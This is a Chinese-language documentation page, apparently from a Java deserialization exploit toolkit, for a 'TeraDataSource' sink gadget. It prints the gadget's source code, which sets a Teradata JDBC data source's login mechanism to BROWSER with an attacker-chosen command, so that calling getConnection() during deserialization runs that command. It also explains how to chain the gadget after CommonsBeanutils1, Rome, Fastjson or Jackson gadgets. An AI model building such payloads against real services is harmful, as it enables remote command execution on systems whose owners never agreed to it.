Skip to content

Latest commit

 

History

History
74 lines (63 loc) · 5.21 KB

File metadata and controls

74 lines (63 loc) · 5.21 KB

Teradata DataSource(TeraDataSource)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖com.teradata.jdbc:terajdbc4:17.20.00.12

作用

构造一个 com.teradata.jdbc.TeraDataSource 数据源对象,并把它的登录机制设置为 BROWSER。当上游 gadget 触发其 getConnection()(数据源发起连接)时,Teradata JDBC 驱动会以「浏览器认证」方式启动本地命令,从而把一次 JDBC 连接行为转化为本地命令执行。是一个 JDBC-sink 型的链尾构件。

链接标签

  • 入口 tagsDataSourceChainsGetterEND
    • DataSourceChains —— 归属「数据源触发」这一族链尾,承接专门驱动 DataSource 的上游(如 Rome/Fastjson/Jackson 系列)。
    • Getter —— 承接「会调用任意 getter」的上游(如 CommonsBeanutils1BeanComparator);本类通过 getterPropertyName="connection"getConnection() 暴露成名为 connection 的属性 getter。
    • END —— 终止标记,本身是 sink,不再向下衔接。
  • 衔接 nextTags:空 —— 链尾构件,其后不接任何 gadget。
  • excludes:无。

源码剖析

public class TeraDataSource implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="命令")
    public String cmd = "calc";
    @Param(name="ip")
    public String ip = "127.0.0.1";
    @Param(name="port")
    public String port = "10250";

    public Object getObject() throws Exception {
        com.teradata.jdbc.TeraDataSource dataSource = new com.teradata.jdbc.TeraDataSource();
        dataSource.setBROWSER(this.cmd);          // 浏览器认证要执行的命令
        dataSource.setLOGMECH("BROWSER");         // 登录机制切到 BROWSER
        dataSource.setDSName(this.ip);            // 目标主机
        dataSource.setDbsPort(this.port);         // 目标端口
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
        return this.getObject();
    }
}
  • getObject() 只是纯粹地 new 出 TeraDataSource 并填字段,本类不主动触发任何行为——它是被动的 sink 对象,真正的执行由上游 gadget 在反序列化时调用 getConnection() 引爆。
  • setLOGMECH("BROWSER") 是核心:Teradata JDBC 驱动的 BROWSER 登录机制会在建立连接时启动一个「浏览器」进程完成认证,而这个「浏览器」命令由 setBROWSER(cmd) 指定,因此 cmd 可被改写为任意可执行命令(默认 calc),实现命令执行。ip/port 决定驱动去尝试连接的目标(默认本地 127.0.0.1:10250)。
  • invoke() 不调用 chain.doCreate(无内层对象),而是向 GadgetContext 写入三条约定,告诉上游「该怎么引爆我」:
    • SUPER_CLASS_NAME_KEY = DataSource.class —— 上游应把本对象向上转型为 javax.sql.DataSource 后再操作。
    • SPECIAL_METHOD_NAME_KEY = "getConnection" —— 供 SpecialPublicMethod 型上游(如 CommonsCollectionsK1/K2)直接反射调用的方法名。
    • GETTER_PARAM_NAME_KEY = "connection" —— 供 Getter 型上游(如 CommonsBeanutils1)当作属性名,getProperty(obj,"connection") 会解析为 getConnection()

引爆链路:上游 readObject/toString/compare → 反射 getConnection() → Teradata 驱动按 LOGMECH=BROWSER 发起连接 → 启动 BROWSER 指定的本地命令。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 BROWSER 认证时启动的本地命令 calc 任意
ip ip 目标 Teradata 主机(DSName 127.0.0.1 任意
port port 目标端口(DbsPort 10250 任意

适用版本与原理要点

  • 依赖 com.teradata.jdbc:terajdbc4:17.20.00.12(需目标类路径存在 Teradata JDBC 驱动 terajdbc4)。
  • 原理源于 Teradata 驱动 LOGMECH=BROWSER 的浏览器认证会 fork 一个本地进程,参数完全可控,故无需外连成功即可命令执行;相较 JNDI 系数据源不依赖出网 LDAP/RMI,但对驱动版本与本地环境更敏感(description 亦标注「漏洞利用较为复杂」)。
  • 参考实现:https://github.com/luelueking/Deserial_Sink_With_JDBC/blob/main/src/main/java/teradata/TeradataSink.java

所属预设链

  • 自由构件,未直接出现在预设链(usedInChains 为空)。可自行拼装为 [<Getter/DataSource 触发型上游>, TeraDataSource]

关联

  • 上游(提供 nextTags 匹配 DataSourceChains/Getter/SpecialPublicMethod):CommonsBeanutils1、Rome1/Rome2、Fastjson、Jackson、CommonsCollectionsK1/K2 等 getter/特殊方法触发型 gadget。
  • 同族(其它 DataSource JNDI/JDBC sink):TomcatDbcp2DataSourceTomcatDbcpDataSource